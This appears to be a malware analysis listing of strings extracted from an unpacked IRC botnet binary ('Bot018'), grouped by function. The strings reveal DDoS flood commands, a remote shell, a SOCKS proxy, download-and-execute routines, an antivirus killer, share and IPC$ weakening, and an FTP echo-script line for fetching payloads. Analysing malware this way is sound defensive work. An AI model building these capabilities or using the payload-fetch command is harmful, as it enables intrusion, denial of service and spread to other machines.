sub_405915(0054):
"%sdel.bat"
"@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
"%%comspec%% /c %s %s"
|
sub_410086(0178):
"[NETINFO]: [Type]: %s (%s). [IP Address"...
|
sub_40E219(044f):
"[RLOGIND]: Error: WSAStartup(): <%d>."
"[RLOGIND]: Failed to install control-C "...
"[RLOGIND]: Ready and waiting for incomi"...
"[RLOGIND]: Client connection from IP: %"...
"[RLOGIND]: Failed to start client threa"...
"[RLOGIND]: Error: server failed, return"...
|
sub_40F8FA(0d23):
"[SOCKS4]: Authentication failed. Remote"...
"[SOCKS4]: Error: Failed to open socket("...
"[SOCKS4]: Error: Failed to connect to t"...
|
sub_410A22(0f1a):
"octet"
"[TFTP]: Error: socket() failed, returne"...
"[TFTP]: Failed to open file: %s."
"[TFTP]: File transfer started to IP: %s"...
"[TFTP]: File not found: %s (%s)."
"[TFTP]: File transfer complete to IP: %"...
|
sub_40FB2A(0f67):
"[SOCKS4]: Server started on: %s:%d."
"[SOCKS4]: Client connection from IP: %s"...
"[SOCKS4]: Failed to start client thread"...
"[SOCKS4]: Failed to start server on Por"...
|
sub_4073FB(1017):
"[PROC]: Listing processes:"
"[PROC]: Process list completed."
"[PROC]: Process list failed."
|
sub_40DDC6(10e2):
"cmd.exe"
"[CMD]: Remote Command Prompt"
"[CMD]: Failed to start IO thread, error"...
|
sub_401F06(1ce6):
"[DOWNLOAD]: Couldn't open file: %s."
"[DOWNLOAD]: File download: %s (%dKB tra"...
"[DOWNLOAD]: Update: %s (%dKB transferre"...
"[DOWNLOAD]: Filesize is incorrect: (%d "...
"[DOWNLOAD]: Downloaded %.1f KB to %s @ "...
"[DOWNLOAD]: Openning: %s %s."
" "
"[DOWNLOAD]: Application succesfully exe"...
"[DOWNLOAD]: Execution failed: Error exe"...
"[DOWNLOAD]: Downloaded %.1fKB to %s @ %"...
"[DOWNLOAD]: Update failed: Error execut"...
"[DOWNLOAD]: Bad URL, or DNS Error: %s."
|
sub_40DF75(292d):
"[RLOGIND]: Protocol string too long."
|
sub_411B71(2afc):
"\\\\%s\\ipc$"
|
sub_40E83D(2cf0):
"[SCAN]: IP: %s Port: %d is open."
|
sub_41A3FA(2d8c):
"C:\\m_unpacker\\packed.exe"
|
sub_402717(306a):
"A:\\"
|
sub_403B4C(32b7):
"\\%s"
"%s"
"%s%s"
"\n"
"*"
"[HTTPD]: Worker thread of server thread"...
"[HTTPD]: Failed to start worker thread,"...
|
sub_4038B7(3320):
"%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
|
sub_405C4B(3362):
"The specified service name is invalid."
"The requested control code is undefined"...
"The handle is invalid."
"The handle does not have the required a"...
"The service binary file could not be fo"...
"The service cannot be stopped because o"...
"The database is locked."
"A thread could not be created for the s"...
"The process for the service was started"...
"The requested control code is not valid"...
"An instance of the service is already r"...
"The system is shutting down."
"An unknown error occurred: <%ld>"
|
sub_40DBAB(33d0):
"PRIVMSG %s :%s\r"
"%s"
|
sub_406702(37b9):
"[NET]: %s: Error with share: '%s'. %s"
"[NET]: %s share: '%s'."
"[NET]: %s: No share specified."
|
sub_40FE1F(3acf):
"95"
"NT"
"98"
"2K"
"???"
"%s (%s)"
"couldn't resolve host"
"dd:MMM:yyyy"
"HH:mm:ss"
"[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
|
sub_401BBB(3b21):
"-[Alias List]-"
"%d. %s = %s"
|
sub_40F3F5(409e):
"[RLOGIND]: Failed to create ReadShell s"...
"[RLOGIND]: Failed to create ReadShell s"...
"[RLOGIND]: WaitForMultipleObjects error"...
|
sub_40779B(44de):
"[MAIN]: Connected to %s."
|
sub_41827C(4634):
"KERNEL32"
"IsProcessorFeaturePresent"
|
sub_40DFC0(4a84):
"[RLOGIND]: Login rejected, Remote user:"...
|
sub_406CD9(4c4d):
"[PING]: Error sending pings to %s."
"[PING]: Finished sending pings to %s."
|
sub_4010CA(4eaf):
"[SCAN]: Current IP: %s."
"[SCAN]: Scan not active."
|
sub_40F2F9(4ec3):
"[RLOGIND]: Failed to create shell stdou"...
"[RLOGIND]: Failed to create shell stdin"...
"[RLOGIND]: Failed to execute shell."
|
sub_40169B(5974):
"[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
"[SCAN]: IP: %s, Port %d is open."
"webdav"
|
sub_401000(5b0f):
"[SCAN]: Exploit Statistics:"
" %s: %d,"
" Total: %d in %s."
|
sub_40E495(5cfa):
"%s"
"%s%i"
|
sub_406E62(610b):
"[UDP]: Error sending pings to %s."
"[UDP]: Finished sending packets to %s."
|
sub_40468E(61d5):
"kernel32.dll"
"SetErrorMode"
"CreateToolhelp32Snapshot"
"Process32First"
"GetDiskFreeSpaceExA"
"GetLogicalDriveStringsA"
"SearchPathA"
"QueryPerformanceCounter"
"QueryPerformanceFrequency"
"RegisterServiceProcess"
"user32.dll"
"SendMessageA"
"FindWindowA"
"IsWindow"
"GetClipboardData"
"CloseClipboard"
"advapi32.dll"
"RegCreateKeyExA"
"RegSetValueExA"
"RegQueryValueExA"
"RegDeleteValueA"
"RegCloseKey"
"OpenProcessToken"
"LookupPrivilegeValueA"
"AdjustTokenPrivileges"
"OpenSCManagerA"
"OpenServiceA"
"ControlService"
"CloseServiceHandle"
"EnumServicesStatusA"
"IsValidSecurityDescriptor"
"GetUserNameA"
"gdi32.dll"
"CreateDCA"
"CreateDIBSection"
"CreateCompatibleDC"
"GetDIBColorTable"
"SelectObject"
"BitBlt"
"DeleteDC"
"DeleteObject"
"ws2_32.dll"
"WSAStartup"
"WSASocketA"
"WSAAsyncSelect"
"__WSAFDIsSet"
"WSAIoctl"
"WSAGetLastError"
"WSACleanup"
"socket"
"ioctlsocket"
"connect"
"inet_ntoa"
"inet_addr"
"htons"
"htonl"
"ntohs"
"ntohl"
"send"
"sendto"
"recv"
"recvfrom"
"bind"
"select"
"listen"
"accept"
"setsockopt"
"getsockname"
"gethostname"
"getpeername"
"closesocket"
"wininet.dll"
"InternetGetConnectedState"
"InternetGetConnectedStateEx"
"HttpOpenRequestA"
"HttpSendRequestA"
"InternetConnectA"
"InternetOpenUrlA"
"InternetCrackUrlA"
"InternetReadFile"
"InternetCloseHandle"
"Mozilla/4.0 (compatible)"
"icmp.dll"
"IcmpCreateFile"
"IcmpCloseHandle"
"IcmpSendEcho"
"netapi32.dll"
"NetShareAdd"
"NetShareDel"
"NetShareEnum"
"NetScheduleJobAdd"
"NetApiBufferFree"
"NetRemoteTOD"
"NetUserAdd"
"NetUserDel"
"NetUserEnum"
"NetUserGetInfo"
"NetMessageBufferSend"
"dnsapi.dll"
"DnsFlushResolverCache"
"DnsFlushResolverCacheEntry_A"
"iphlpapi.dll"
"DeleteIpNetEntry"
"mpr.dll"
"WNetAddConnection2A"
"WNetAddConnection2W"
"WNetCancelConnection2A"
"WNetCancelConnection2W"
"shell32.dll"
"SHChangeNotify"
"odbc32.dll"
"SQLDriverConnect"
"SQLAllocHandle"
|
sub_4067C0(634c):
"Share name: Resource: "...
"[NET]: Share list error: %s <%ld>"
"Yes"
"No"
"%-14S %-24S %-6u %-4s"
|
sub_40253D(63f7):
"%sKB"
"failed"
|
sub_40751F(68d7):
"PASS %s\r\n"
" :"
"|"
"|"
|
sub_4018D1(6c06):
"[SCAN]: Failed to initialize critical s"...
"[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
"[SCAN]: Failed to start worker thread, "...
"[SCAN]: Finished at %s:%d after %d minu"...
|
sub_402658(72d0):
"failed"
"[MAIN]: %s Drive (%s): Failed to stat, "...
"[MAIN]: %s Drive (%s): %s total, %s fre"...
|
sub_4039DE(7899):
"text/html"
"application/octet-stream"
"ddd, dd MMM yyyy"
"HH:mm:ss"
"HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
"HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
|
sub_4030C4(7ca6):
"\n"
"PRIVMSG %s :Searching for: %s\r\n"
"\r\n\r\nIndex of %s</TIT"...
"<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
"<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
"<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
"<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
".."
"."
"PM"
"AM"
"%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
"<%s>"
"PRIVMSG %s :%-31s %-21s\n"
"<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
"%s%s/"
"\"><CODE>%.29s>/</CODE></A>"
"\"><CODE>%s/</CODE></A>"
"</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
"<%s>"
"%-31s %-21s\r\n"
"PRIVMSG %s :%-31s %-21s (%s bytes)\n"
"<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
"%s%s"
"\"><CODE>%.30s></CODE></A>"
"\"><CODE>%s</CODE></A>"
"</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
"%-31s %-21s (%i bytes)\r\n"
"PRIVMSG %s :Found %s Files and %s Direc"...
"<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
"Found: %i Files and %i Directories\r\n"
</font></pre></td></tr><tr id="sub_4060D0"><td><pre><a name="sub_4060D0"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_4060D0"><font size=+2>sub_4060D0</a>(7d4d)</font>:<font color=brown>
"Account: %S"
"Full Name: %S"
"User Comment: %S"
"Comment: %S"
"Unknown"
"Administrator"
"User"
"Guest"
"Privilege Level: %s"
"Auth Flags: %d"
"Home Directory: %S"
"Parameters: %S"
"Password Age: %d"
"Bad Password Count: %d"
"Number of Logins: %d"
"Last Logon: %d"
"Last Logoff: %d"
"Logon Server: %S"
"Country Code: %d"
"User's Language: %d"
"Max. Storage: %d"
"[NET]: User info error: <%ld>"
</font></pre></td></tr><tr id="sub_411A2E"><td><pre><a name="sub_411A2E"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_411A2E"><font size=+2>sub_411A2E</a>(7f2e)</font>:<font color=brown>
"echo open %s %d>o&echo USER a>>o&echo a"...
"%s\r\n"
</font></pre></td></tr><tr id="sub_406B55"><td><pre><a name="sub_406B55"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_406B55"><font size=+2>sub_406B55</a>(7fe5)</font>:<font color=brown>
"[FLUSHDNS]: Error getting ARP cache: <%"...
"[FLUSHDNS]: ARP cache is empty."
"[FLUSHDNS]: Unable to allocation ARP ca"...
"[FLUSHDNS]: Not supported by this syste"...
</font></pre></td></tr><tr id="sub_405708"><td><pre><a name="sub_405708"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_405708"><font size=+2>sub_405708</a>(8344)</font>:<font color=brown>
"%s Error: %s <%d>."
</font></pre></td></tr><tr id="sub_4197D8"><td><pre><a name="sub_4197D8"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_4197D8"><font size=+2>sub_4197D8</a>(872d)</font>:<font color=brown>
"exp"
"exp"
"log10"
"log10"
"log"
"log"
"pow"
"pow"
"pow"
"log10"
"log"
"log2"
"log2"
"exp10"
"exp2"
"exp"
"modf"
"pow"
"floor"
"ceil"
"atan"
</font></pre></td></tr><tr id="sub_401C33"><td><pre><a name="sub_401C33"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_401C33"><font size=+2>sub_401C33</a>(8946)</font>:<font color=brown>
"[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
</font></pre></td></tr><tr id="sub_411120"><td><pre><a name="sub_411120"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_411120"><font size=+2>sub_411120</a>(8c69)</font>:<font color=brown>
"%s: %s stopped. (%d thread(s) stopped.)"...
"%s: No %s thread found."
</font></pre></td></tr><tr id="sub_40D9BC"><td><pre><a name="sub_40D9BC"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_40D9BC"><font size=+2>sub_40D9BC</a>(90b5)</font>:<font color=brown>
"[REDIRECT]: Client connection from IP: "...
"[REDIRECT]: Failed to start client thre"...
</font></pre></td></tr><tr id="sub_4070E8"><td><pre><a name="sub_4070E8"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_4070E8"><font size=+2>sub_4070E8</a>(91ea)</font>:<font color=brown>
"SeDebugPrivilege"
" %s (%d)"
"SeDebugPrivilege"
"Could not delete '%s'.!\n"
"Cannot extract process path for %s\n"
</font></pre></td></tr><tr id="sub_4068DF"><td><pre><a name="sub_4068DF"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_4068DF"><font size=+2>sub_4068DF</a>(9348)</font>:<font color=brown>
"[NET]: %s username: '%s'."
"[NET]: %s: Error with username: '%s'. %"...
"[NET]: %s: No username specified."
</font></pre></td></tr><tr id="sub_40E8FF"><td><pre><a name="sub_40E8FF"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_40E8FF"><font size=+2>sub_40E8FF</a>(9885)</font>:<font color=brown>
"[SCAN]: Scanning IP: %s, Port: %d."
</font></pre></td></tr><tr id="sub_4045DD"><td><pre><a name="sub_4045DD"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_4045DD"><font size=+2>sub_4045DD</a>(992b)</font>:<font color=brown>
"NOTICE"
"PRIVMSG"
"%s"
"%s %s :%s\r\n"
</font></pre></td></tr><tr id="sub_40FD16"><td><pre><a name="sub_40FD16"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_40FD16"><font size=+2>sub_40FD16</a>(9b6d)</font>:<font color=brown>
"%dd %dh %dm"
</font></pre></td></tr><tr id="sub_40584F"><td><pre><a name="sub_40584F"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_40584F"><font size=+2>sub_40584F</a>(9d9d)</font>:<font color=brown>
"explorer.exe"
</font></pre></td></tr><tr id="sub_4058F3"><td><pre><a name="sub_4058F3"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_4058F3"><font size=+2>sub_4058F3</a>(9dbe)</font>:<font color=brown>
"SeShutdownPrivilege"
</font></pre></td></tr><tr id="sub_40ECEC"><td><pre><a name="sub_40ECEC"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_40ECEC"><font size=+2>sub_40ECEC</a>(a27a)</font>:<font color=brown>
"Software\\Microsoft\\OLE"
"EnableDCOM"
"[SECURE]: Enable DCOM failed."
"[SECURE]: DCOM enabled."
"[SECURE]: Failed to open DCOM registry "...
"SYSTEM\\CurrentControlSet\\Control\\Lsa"
"restrictanonymous"
"[SECURE]: Failed to unrestrict access t"...
"[SECURE]: Unrestricted access to the IP"...
"[SECURE]: Failed to open IPC$ restricti"...
"[SECURE]: Advapi32.dll couldn't be load"...
"[SECURE]: Share '%s' added."
"[SECURE]: Failed to add '%s' share."
"%c$"
"%c:\\"
"[SECURE]: Share '%s' added."
"[SECURE]: Failed to add '%s' share."
"[SECURE]: Network shares added."
"[SECURE]: Netapi32.dll couldn't be load"...
</font></pre></td></tr><tr id="sub_40E9C5"><td><pre><a name="sub_40E9C5"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_40E9C5"><font size=+2>sub_40E9C5</a>(ac2a)</font>:<font color=brown>
"Software\\Microsoft\\OLE"
"EnableDCOM"
"[SECURE]: Disable DCOM failed."
"[SECURE]: DCOM disabled."
"[SECURE]: Failed to open DCOM registry "...
"SYSTEM\\CurrentControlSet\\Control\\Lsa"
"restrictanonymous"
"[SECURE]: Failed to restrict access to "...
"[SECURE]: Restricted access to the IPC$"...
"[SECURE]: Failed to open IPC$ Restricti"...
"[SECURE]: Advapi32.dll couldn't be load"...
"[SECURE]: Share '%s' deleted."
"[SECURE]: Failed to delete '%s' share."
"[SECURE]: Share '%S' deleted."
"[SECURE]: Failed to delete '%S' share."
"[SECURE]: Network shares deleted."
"[SECURE]: Netapi32.dll couldn't be load"...
</font></pre></td></tr><tr id="sub_4143B9"><td><pre><a name="sub_4143B9"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_4143B9"><font size=+2>sub_4143B9</a>(ac9b)</font>:<font color=brown>
"mscoree.dll"
"CorExitProcess"
</font></pre></td></tr><tr id="sub_4024AC"><td><pre><a name="sub_4024AC"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_4024AC"><font size=+2>sub_4024AC</a>(b2db)</font>:<font color=brown>
"?"
"RAM"
"Cdrom"
"Network"
"Disk"
"Invalid"
"Unknown"
</font></pre></td></tr><tr id="sub_401525"><td><pre><a name="sub_401525"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_401525"><font size=+2>sub_401525</a>(b357)</font>:<font color=brown>
"%d.%d.%d.%d"
</font></pre></td></tr><tr id="sub_4065CE"><td><pre><a name="sub_4065CE"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_4065CE"><font size=+2>sub_4065CE</a>(b6b2)</font>:<font color=brown>
"[NET]: Message sent successfully."
"[NET]: %s <Server: %S> <Message: %S>"
</font></pre></td></tr><tr id="sub_403E06"><td><pre><a name="sub_403E06"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_403E06"><font size=+2>sub_403E06</a>(bb0b)</font>:<font color=brown>
"GET "
" "
"\r\n"
"[HTTPD]: Error: server failed, returned"...
</font></pre></td></tr><tr id="sub_40DC39"><td><pre><a name="sub_40DC39"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_40DC39"><font size=+2>sub_40DC39</a>(bd0f)</font>:<font color=brown>
"[CMD]: Could not read data from procces"...
"[CMD]: Proccess has terminated.\r\n"
"[CMD]: Could not read data from procces"...
</font></pre></td></tr><tr id="sub_405277"><td><pre><a name="sub_405277"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_405277"><font size=+2>sub_405277</a>(be57)</font>:<font color=brown>
"Kernel32.dll failed. <%d>"
"User32.dll failed. <%d>"
"Advapi32.dll failed. <%d>"
"Gdi32.dll failed. <%d>"
"Ws2_32.dll failed. <%d>"
"Wininet.dll failed. <%d>"
"Icmp.dll failed. <%d>"
"Netapi32.dll failed. <%d>"
"Dnsapi.dll failed. <%d>"
"Iphlpapi.dll failed. <%d>"
"Mpr32.dll failed. <%d>"
"Shell32.dll failed. <%d>"
"Odbc32.dll failed. <%d>"
"[MAIN]: DLL test complete."
</font></pre></td></tr><tr id="sub_4057CD"><td><pre><a name="sub_4057CD"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_4057CD"><font size=+2>sub_4057CD</a>(bf1a)</font>:<font color=brown>
"mIRC"
</font></pre></td></tr><tr id="sub_401D45"><td><pre><a name="sub_401D45"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_401D45"><font size=+2>sub_401D45</a>(c485)</font>:<font color=brown>
"[LOG]: Begin"
"[LOG]: List complete."
</font></pre></td></tr><tr id="sub_40668A"><td><pre><a name="sub_40668A"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_40668A"><font size=+2>sub_40668A</a>(c76a)</font>:<font color=brown>
"[NET]: Error with service: '%s'. %s"
"[NET]: %s: No service specified."
</font></pre></td></tr><tr id="sub_40649E"><td><pre><a name="sub_40649E"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_40649E"><font size=+2>sub_40649E</a>(c864)</font>:<font color=brown>
"Invalid parameter."
"Server name not found."
"This network request is not supported."
"Not enough memory."
"The name is invalid."
"Duplicate share name."
"Invalid for redirected resource."
"Device or directory does not exist."
"Level parameter is invalid."
"A general failure occurred in the netwo"...
"The operation is allowed only on the pr"...
"The user account already exists."
"The group already exists."
"The password is shorter than required ("...
"An unknown error occurred."
"The computer name is invalid."
"Share not found."
"The user name could not be found."
"Network connection not found."
</font></pre></td></tr><tr id="sub_402B1D"><td><pre><a name="sub_402B1D"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_402B1D"><font size=+2>sub_402B1D</a>(c887)</font>:<font color=brown>
"%s %s"
"USER"
"331 Password required\n"
"PASS"
"230 User logged in.\n"
"SYST"
"215 StnyFtpd\n"
"REST"
"350 Restarting.\n"
"257 \"/\" is current directory.\n"
"TYPE"
"A"
"200 Type set to A.\n"
"I"
"200 Type set to I.\n"
"PASV"
"425 Passive not supported on this serve"...
"LIST"
"226 Transfer complete\n"
"PORT"
"%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
"%x%x\n"
"%s.%s.%s.%s"
"200 PORT command successful.\n"
"RETR"
"150 Opening BINARY mode data connection"...
"226 Transfer complete.\n"
"[FTP]: File transfer complete to IP: %s"...
"425 Can't open data connection.\n"
"QUIT"
"221 Goodbye.\n"
</font></pre></td></tr><tr id="sub_40E00D"><td><pre><a name="sub_40E00D"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_40E00D"><font size=+2>sub_40E00D</a>(ca7a)</font>:<font color=brown>
"[RLOGIND]: Error: getpeername(): <%d>."
"Permission denied\n"
"[RLOGIND]: User logged in: <%s@%s>."
"[RLOGIND]: Error: SessionRun(): <%d>."
"[RLOGIND]: User logged out: <%s@%s>."
</font></pre></td></tr><tr id="sub_41046C"><td><pre><a name="sub_41046C"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_41046C"><font size=+2>sub_41046C</a>(cc61)</font>:<font color=brown>
"[TCP]: Error: socket() failed, returned"...
"[TCP]: Error: setsockopt() failed, retu"...
"[TCP]: Invalid target IP."
"syn"
"ack"
"random"
"[TCP]: Done with %s flood to IP: %s. Se"...
"[TCP]: Error sending packets to IP: %s."...
</font></pre></td></tr><tr id="sub_40F147"><td><pre><a name="sub_40F147"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_40F147"><font size=+2>sub_40F147</a>(cd6d)</font>:<font color=brown>
"[RLOGIND]: SessionReadShellThread exite"...
</font></pre></td></tr><tr id="sub_401CD3"><td><pre><a name="sub_401CD3"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_401CD3"><font size=+2>sub_401CD3</a>(ce8a)</font>:<font color=brown>
"[LOGS]: Cleared."
</font></pre></td></tr><tr id="sub_404249"><td><pre><a name="sub_404249"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_404249"><font size=+2>sub_404249</a>(d10a)</font>:<font color=brown>
"[ICMP]: Error: socket() failed, returne"...
"[ICMP]: Error: setsockopt() failed, ret"...
"[ICMP]: Invalid target IP."
"[ICMP]: Done with %s flood to IP: %s. S"...
"[ICMP]: Error sending packets to IP: %s"...
</font></pre></td></tr><tr id="sub_401E73"><td><pre><a name="sub_401E73"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_401E73"><font size=+2>sub_401E73</a>(d18b)</font>:<font color=brown>
"Network Host Service"
</font></pre></td></tr><tr id="sub_419E4A"><td><pre><a name="sub_419E4A"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_419E4A"><font size=+2>sub_419E4A</a>(d1c0)</font>:<font color=brown>
"<program name unknown>"
"..."
"Runtime Error!\n\nProgram: "
"\n\n"
"Microsoft Visual C++ Runtime Library"
</font></pre></td></tr><tr id="sub_4069A9"><td><pre><a name="sub_4069A9"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_4069A9"><font size=+2>sub_4069A9</a>(d43c)</font>:<font color=brown>
"Username accounts for local system:"
"[NET]: User list error: %s <%ld>"
" %S"
"[NET]: An access violation has occured."...
"Total users found: %d."
</font></pre></td></tr><tr id="sub_4078FA"><td><pre><a name="sub_4078FA"></a><a href="c2450bfb2e868cc4fa72ecfd51377cfd_unpacked.asm.html#sub_4078FA"><font size=+2>sub_4078FA</a>(dce1)</font>:<font color=brown>
" :"
" "
"!"
"PING"
"PONG %s\r\n"
"JOIN %s %s\r\n"
"001"
"005"
"302"
"@"
"433"
"NICK %s\r\n"
"KICK"
"[MAIN]: User %s logged out."
"NOTICE %s :%s\r\n"
"NICK"
":%s%s"
"PART"
"QUIT"
"353"
"[MAIN]: User: %s logged out."
"NOTICE %s :%s\r\n"
"[MAIN]: Joined channel: %s."
"PRIVMSG"
"NOTICE"
"login"
" :"
"$%d-"
"$%d"
"$me"
"$user"
"$chan"
"$rndnick"
"$server"
"$chr("
")"
"63"
" "
"rndnick"
"rn"
"die"
"d"
"logout"
"lo"
"version"
"ver"
"secure"
"sec"
"unsec"
"socks4"
"s4"
"socks4stop"
"Server"
"[SOCKS4]"
"rloginstop"
"Server"
"[RLOGIND]"
"Server"
"[HTTPD]"
"logstop"
"Log list"
"[LOG]"
"redirectstop"
"TCP redirect"
"[REDIRECT]"
"ddos.stop"
"DDoS flood"
"[DDoS]"
"synstop"
"Syn flood"
"[SYN]"
"udpstop"
"UDP flood"
"[UPD]"
"Ping flood"
"[PING]"
"ICMP flood"
"[ICMP]"
"tcpstop"
"TCP flood"
"Server"
"[TFTP]"
"procsstop"
"psstop"
"clonestop"
"Clone"
"[CLONES]"
"securestop"
"Secure"
"[SECURE]"
"Scan"
"[SCAN]"
"scanstats"
"stats"
"reconnect"
"r"
"disconnect"
"dc"
"quit"
"q"
"status"
"s"
"id"
"i"
"reboot"
"[MAIN]: Rebooting system."
"[MAIN]: Failed to reboot system."
"threads"
"t"
"aliases"
"al"
"log"
"lg"
"clg"
"netinfo"
"ni"
"sysinfo"
"si"
"destroy"
"erradicate"
"procs"
"ps"
"uptime"
"up"
"driveinfo"
"drv"
"dll"
"opencmd"
"ocmd"
"cmdstop"
"Remote shell"
"[CMD]"
"who"
"-[Login List]-"
"<Empty>"
"%d. %s"
"[MAIN]: Login list complete."
"advscan"
"asc"
"udp"
"u"
"pingflood"
"ping"
"p"
"tcp"
"email"
" "
"_"
"helo $rndnick\nmail from: <%s>\nrcpt to: "...
"[EMAIL]: Message sent to %s."
"getclip"
"gc"
"farp"
"fdns"
"currentip"
"cip"
"rloginserver"
"rlogin"
"httpserver"
"http"
"tftpserver"
"tftp"
"scanall"
"sa"
"nick"
"n"
"join"
"j"
"part"
"pt"
"raw"
"r"
"killthread"
"k"
"c_quit"
"c_q"
"c_rndnick"
"c_rn"
"prefix"
"pr"
"open"
"o"
"server"
"se"
"dns"
"dn"
"kp"
"killdelproc"
"kdp"
"kill"
"ki"
"delete"
"del"
"list"
"li"
"mirccmd"
"mirc"
"cmd"
"cm"
"rf"
"net"
"[NET]: Failed to load advapi32.dll or n"...
"start"
"%s"
"[NET]: Service list completed."
"[NET]: Service list failed."
"stop"
"pause"
"delete"
"share"
"%s"
"[NET]: Share list completed."
"[NET]: Share list failed."
"user"
"%s"
"[NET]: User list completed."
"[NET]: User list failed."
"send"
"%s"
"[NET]: No message specified."
"[NET]: Command unknown."
"gethost"
"gh"
"avfwkiller"
"start"
"[AVFW]: AV/FW/BOT Killer active."
"Killer Thread"
"[AVFW]"
"[AVFW]: Failed to start AV/FW killer th"...
"stop"
"Killer Thread"
"[AVFW]"
"aa"
"privmsg"
"pm"
"action"
"a"
"cycle"
"cy"
"mode"
"m"
"c_raw"
"c_r"
"c_mode"
"c_m"
"c_nick"
"c_n"
"c_join"
"c_j"
"c_part"
"c_p"
"repeat"
"rp"
"delay"
"de"
"update"
"up"
"execute"
"e"
"rename"
"mv"
"icmpflood"
"icmp"
"clone"
"c"
"dl"
"rd"
"scan"
"sc"
"c_privmsg"
"c_pm"
"[%s] * %s %s"
"[%s] <%s> %s"
"[SCAN]: Port scan started: %s:%d with d"...
"[SCAN]: Failed to start scan thread, er"...
"[REDIRECT]: TCP redirect created from: "...
"[REDIRECT]: Failed to start redirection"...
"[DOWNLOAD]: Downloading URL: %s to: %s."...
"[DOWNLOAD]: Failed to start transfer th"...
"[CLONES]: Created on %s:%d, in channel "...
"[CLONES]: Failed to start clone thread,"...
"[ICMP]: Flooding: (%s) for %s seconds."
"[ICMP]: Failed to start flood thread, e"...
"[ICMP]: Invalid flood time must be grea"...
"[FILE]: Rename: '%s' to: '%s'."
"[FILE]:"
"[EXEC]: Couldn't execute file."
"Bot018"
"%s%s.exe"
"[UPDATE]: Downloading update from: %s."
"[UPDATE]: Failed to start download thre"...
"[UPDATE]: Up to Date"
"%s %s %s :%s"
"[MAIN]: Delay."
"repeat"
"%s %s %s :%s"
"[MAIN]: Repeat: %s"
"[MAIN]: Repeat not allowed in command l"...
"PART %s"
"%s\r\n"
"JOIN %s %s"
"NICK %s"
"%s\r\n"
"[CLONE]: Nick (%s): %s"
"MODE %s"
"%s\r\n"
"[CLONE]: Mode (%s): %s"
"%s\r\n"
"[CLONE]: Raw (%s): %s"
"MODE %s\r\n"
"[MAIN]: Mode change: %s"
"PART %s\r\n"
"JOIN %s %s\r\n"
"[MAIN]: Cycle."
"[MAIN]: Privmsg: %s: %s."
"[MAIN]: Alias added: %s."
"%s %s %s :%s"
"[MAIN]: Gethost: %s, Command: %s"
"[MAIN]: Unable to extract Gethost comma"...
"r"
